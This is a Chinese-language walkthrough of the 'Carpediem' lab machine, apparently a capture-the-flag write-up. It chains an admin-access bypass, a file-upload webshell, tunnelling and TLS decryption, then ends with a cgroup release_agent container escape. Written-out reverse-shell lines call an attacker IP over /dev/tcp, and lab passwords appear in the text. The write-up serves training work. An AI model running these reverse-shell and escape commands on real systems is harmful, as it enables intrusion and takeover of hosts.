实战打靶之Carpediem

admin 2023年3月12日14:49:38实战打靶之Carpediem已关闭评论17 views字数 6904阅读23分0秒阅读模式

信息收集

端口扫描

通过nmap对靶机端口进行探测,发现存在22和80端口。

实战打靶之Carpediem

访问web页面。发现是一个静态页面,没有可利用的部分。

实战打靶之Carpediem

目录扫描

实战打靶之Carpediem

子域枚举

通过对域名进行fuzz子域名,发现存在portal一级域名。

实战打靶之Carpediem

将它加入/etc/hosts,访问之后,是一个页面。

实战打靶之Carpediem

发现一个登录框,并且注册了一个用户。

实战打靶之Carpediem

剩下的就是一些它的基本功能模块。

实战打靶之Carpediem

实战打靶之Carpediem

实战打靶之Carpediem

此时看到一个 PHP 页面,该页面要么包括基于 的页面p,要么基于它的分支。我会尝试设置p为index看看会发生什么。页面已经崩溃。

实战打靶之Carpediem

第二次目录枚举

接着对新域名进行目录爆破。

实战打靶之Carpediem

发现访问/admin目录是没有权限的。

实战打靶之Carpediem

漏洞利用:

源读取失败

基于上面的分析,我已经非常确信该index.php页面正在调用类似include \$_GET['p'] . '.php'. 因为它附加了扩展名,所以我无法尝试读取不是 PHP 的文件。

失败的 XSS

在报错页面中发现,“管理人员会在看到您的确认请求后立即与您联系”这句话。这表明管理层将查看我的提交,这表明可能存在跨站点脚本攻击。看看当我提交请求时会发生什么,它实际上发出了两个 POST 请求/classes/Master.php:

逻辑漏洞利用

在查看与帐户交互的请求中,发现一个数据包中,会把创建帐户的 POST 转到/classes/Master.php?f=register。

实战打靶之Carpediem

它包括表单上的所有可见字段,以及id和login_type。这些来自hidden字段,可以在 HTML 源代码中看到:

实战打靶之Carpediem

实战打靶之Carpediem

通过修改用户id为2,成功绕过前端验证,获取到/admin访问权限。

实战打靶之Carpediem

更新登录类型

**接下来我将尝试将login_type更改为其他值。将其设置为 1 时,它会返回成功:

实战打靶之Carpediem

绕过前端验证之后,进入admin页面。

实战打靶之Carpediem

接着去看它的功能模块。

实战打靶之Carpediem

实战打靶之Carpediem

文件上传漏洞

发现一个表单,可以进行文件上传。

实战打靶之Carpediem

但是空白action表示它将提交到当前 URL,即/admin/?page=maintenance/helpdesk. 我可以手动重新创建此表单提交,但我提交的任何内容似乎与此页面没有任何不同。

实战打靶之Carpediem

找了一些关于表单上传的资料,

https://stackoverflow.com/questions/8659808/how-does-http-file-upload-work/8660740#8660740

实战打靶之Carpediem

在红色中,Content-Type标题将是multipart/form-data,然后它定义了boundary用于分隔各种参数的 。在标准 POST 中,这将是一个&,但对于表单,它允许每个项目同时具有元数据和数据,因此每个参数都由该字符串分隔。每个使用中的边界字符串都带有一个额外的前缀--,最后一个已--添加到末尾。

本例中的第一个参数(蓝色标签)只是一个表单值。第一行是元数据,;以 - 分隔,以 开头Content-Disposition: form-data,然后是一系列键值对。MAX_FILE_SIZE这里只有一个,name用于由服务器引用该项目。第二项具有文件上传的典型元数据,包括filename标题Content-Type。

实战打靶之Carpediem

构建上传请求

构造表单文件,进行文件上传。

实战打靶之Carpediem

成功上传文件。

实战打靶之Carpediem

在上传文件之后,写入shell。

实战打靶之Carpediem

获取webshell

成功获取到shell。

实战打靶之Carpediem

反弹shell

使用curl命令去反弹shell到443端口。

实战打靶之Carpediem

使用nc监听443端口。

实战打靶之Carpediem

升级交互式shell

使用/stty 技巧升级 shell

实战打靶之Carpediem

主机信息收集

接着进行配置文件查看

实战打靶之Carpediem

实战打靶之Carpediem

找到一个DBConnection.php,发现了数据库的连接密码和用户名。

```
<?php
if(!defined('DB_SERVER')){
require_once("../initialize.php");
}
class DBConnection{

private $host = 'mysql';
private $username = 'portaldb';
private $password = 'J5tnqsXpyzkK4XNt';
private $database = 'portal';

public $conn;

public function __construct(){

    if (!isset($this->conn)) {

        $this->conn = new mysqli($this->host, $this->username, $this->password, $this->database);

        if (!$this->conn) {
            echo 'Cannot connect to database server';
            exit;
        }      
    }

}
public function __destruct(){
    $this->conn->close();
}

}
?>
```

网络枚举

使用time for枚举c段内的主机。

实战打靶之Carpediem

端口探测

使用wget命令上传一个打包好的nmap,进行进行端口探测。

实战打靶之Carpediem

隧道搭建

使用chisel搭建socks隧道,然后把流量代理出去。

./chisel_1.7.7_linux_amd64 client 10.10.17.140:8000 R:socks

实战打靶之Carpediem

接着配置proxychains,在本地使用代理。

实战打靶之Carpediem

172.17.0.1 - 主机

通常在 Docker 中,.1 是主机。事实上,它与我在 CarpeDiem 的给定 IP 上看到的相匹配。

172.17.0.2 - backdropcms

nmap显示此主机正在侦听 HTTP (80)、HTTPS (443) 和 FTP (21)。HTTP 站点只是重定向到 HTTPS。这是Backdrop CMS的一个实例

实战打靶之Carpediem

172.17.0.3 - MySQL

实战打靶之Carpediem

172.17.0.4 - MongoDB

```
proxychains mongo 172.17.0.4
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
MongoDB shell version v3.6.8
connecting to: mongodb://172.17.0.4:27017/test
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.4:27017 ... OK
Implicit session: session { "id" : UUID("f87fa546-0593-42c5-b3a5-e6d1dff06a7f") }
MongoDB server version: 5.0.6
WARNING: shell and server versions do not match
Server has startup warnings:
{"t":{"$date":"2022-11-28T13:57:33.732+00:00"},"s":"I", "c":"STORAGE", "id":22297, "ctx":"initandlisten","msg":"Using the XFS filesystem is strongly recommended with the WiredTiger storage engine. See http://dochub.mongodb.org/core/prodnotes-filesystem","tags":["startupWarnings"]}
{"t":{"$date":"2022-11-28T13:57:36.570+00:00"},"s":"W", "c":"CONTROL", "id":22120, "ctx":"initandlisten","msg":"Access control is not enabled for the database. Read and write access to data and configuration is unrestricted","tags":["startupWarnings"]}

```

172.17.0.5-trudesk

172.17.0.5 在 8118 上开放。这是一个不寻常的端口。尝试它并nc没有显示太多,但它可以通过 HTTP 工作。这是一个 trudesk 登录表单:

实战打靶之Carpediem

我已经多次看到 trudesk 被提及,首先是在管理面板中,然后是在 MongoDB 中。trudesk是一个免费的票务管理系统。

我没有用于登录的用户名/密码。

找到了他的API文档。

查找trudesk的tickects

实战打靶之Carpediem

通过抓包,然后请求/api/user,返回404

实战打靶之Carpediem

构造accesstoken

通过之前在主机里面获取到的APItoken,然后在burp里面构造accesstoken。

实战打靶之Carpediem

实战打靶之Carpediem

通过翻阅API文档,发现存在uid为1006的用户。

实战打靶之Carpediem

然后请求/api/vi/tickets/1006,获得大量信息。

实战打靶之Carpediem

grep筛选

使用grep进行筛选。

实战打靶之Carpediem

在其中发现了2022,和9650 、zoiper等关键信息。

实战打靶之Carpediem

获取 hflaccus Creds

通过Google下载这个电话软件。

实战打靶之Carpediem

实战打靶之Carpediem

安装之后,进行启动。

实战打靶之Carpediem

输入之前获得的那些关键信息。

实战打靶之Carpediem

成功进行登录。

实战打靶之Carpediem

实战打靶之Carpediem

获得登录密码

通过语音提示,然后获取到了密码(AuRj4pxq9qPk)等信息。

实战打靶之Carpediem

SSH远程登录

接着使用ssh远程登录。

实战打靶之Carpediem

获取user.txt

实战打靶之Carpediem

接着进行端口查看。

实战打靶之Carpediem

流量包分析

首先,跳过环回。eth0会得到流量,但可能也不是我在这里需要的。docker0将捕获 172.17.0.0/24 网络上的所有流量,使用开始tcpdump收集-i docker0,-s 65535捕获完整帧,and -w

实战打靶之Carpediem

使用wireshark分析流量

实战打靶之Carpediem

trudesk 正在查询 mongo 的地方有一堆连接。然后有超过 443 个会话从主机到 CMS。似乎有两组,一些在 47 k 左右,另一些在 4 k 左右。

实战打靶之Carpediem

在这种情况下感兴趣的是密码套件,TLS_RSA_WITH_AES_256_CBC_SHA256. 谷歌搜索将显示多个站点报告为弱密码套件

找密码

这里的问题是 RSA 不支持完美前向保密 (PFS):

实战打靶之Carpediem

PSF 允许攻击者获得私钥(网站的证书),并且由于加密的方式,他们仍然无法访问明文。如果没有 PFS,任何拥有证书的人都可以解密流量。

证书通常存储在/etc/ssl/certs. 私钥应该保存在只有 root 可以读取的地方。此目录中有大量文件:

实战打靶之Carpediem

解密 TLS

实战打靶之Carpediem

实战打靶之Carpediem

还原请求包

实战打靶之Carpediem

```
POST /?q=user/login HTTP/1.1
Host: backdrop.carpediem.htb:8002
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: /
Connection: close
Origin: https://backdrop.carpediem.htb:8002
Content-Type: application/x-www-form-urlencoded
Referer: https://backdrop.carpediem.htb:8002/?q=user/login
Accept-Language: en-US,en;q=0.9
Content-Length: 128

name=jpardella&pass=tGPN6AmJDZwYWdhY&form_build_id=form-rXfWvmvOz0ihcfyBBwhTF3TzC8jkPBx4LvUBrdAIsU8&form_id=user_login&op=Log+in
```

找到了另一个地址。backdrop.carpediem.htb:8002

和name=jpardella&pass=tGPN6AmJDZwYWdhY&form_build_id=form-rXfWvmvOz0ihcfyBBwhTF3TzC8jkPBx4LvUBrdAIsU8&form_id=user_login&op=Log+in

Backdrop CMS漏洞利用

搜索 Backdrop CMS 漏洞,出现了这个 repo 。它描述了一种攻击路径,使用跨站点请求伪造 (CSRF) 让管理员安装恶意插件,从而提供 webshell。我不需要 CSRF,因为我已经可以登录管理面板了。所以我只会使用插件。

我将从发布页面下载reference.tar并查看它:

实战打靶之Carpediem

然后进行文件上传。

实战打靶之Carpediem

实战打靶之Carpediem

发现一个上传功能,接着构造压缩包进行文件上传。

实战打靶之Carpediem

实战打靶之Carpediem

权限提升

反弹shell

使用curl触发

curl -k https://localhost:8002/modules/reference/shell.php

实战打靶之Carpediem

成功获取到权限。

发现一个脚本,

该脚本是可用性检查:使用cat命令进行查看。

```
www-data@90c7f522b842:/opt$ cat heartbeat.sh

!/bin/bash

Run a site availability check every 10 seconds via cron

checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh))
if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]]; then
exit
fi
status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost)
grep "Welcome to backdrop.carpediem.htb!" "$status"
if [[ "$?" != 0 ]]; then
#something went wrong. restoring from backup.
cp /root/index.php /var/www/html/backdrop/index.php
fi
www-data@90c7f522b842:/opt$
```

编辑index.php

知道 root 每 30 秒执行一次此脚本,我没有修改权限heartbeat.sh。我也不能修改backdrop.sh,即使我可以,散列也会改变,脚本也无法通过该检查。

index.php归 www-data 所有,因此我可以编辑它:

cat index.php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'");?>
sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

使用netcat进行监听443端口

sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.167
root@90c7f522b842:/var/www/html/backdrop# id
uid=0(root) gid=0(root) groups=0(root)
root@90c7f522b842:/var/www/html/backdrop# hostname -I
172.17.0.2
root@90c7f522b842:/var/www/html/backdrop#

编写脚本进行提权

我们可以利用这篇文章进行容器逃逸,获取root权限

https://betterprogramming.pub/escaping-docker-privileged-containers-a7ae7d17f5a1

由于机器没有 nano 或 vi,我们创建脚本并与服务器共享

``
cat script.sh
mkdir /dev/shm/privesc
mount -t cgroup -o rdma cgroup /dev/shm/privesc
mkdir /dev/shm/privesc/x
echo 1 > /dev/shm/privesc/x/notify_on_release
host_path=
sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /dev/shm/privesc/release_agent
echo '#!/bin/bash' > /cmd
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'" >> /cmd
chmod a+x /cmd
bash -c "echo \$\$ > /dev/shm/privesc/x/cgroup.procs"

sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

成功获取权限root权限

实战打靶之Carpediem

获取root.txt

实战打靶之Carpediem

总结

这个靶机为困难模式的靶机,靶机包含的知识和内容,以及靶机的复杂程度都是相当的大。靶机包含了逻辑漏洞、文件上传、6台域内主机,APi文档的调用,流量分析等知识点。感兴趣的小伙伴也可以试一试。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日14:49:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战打靶之Carpediemhttp://cn-sec.com/archives/1599555.html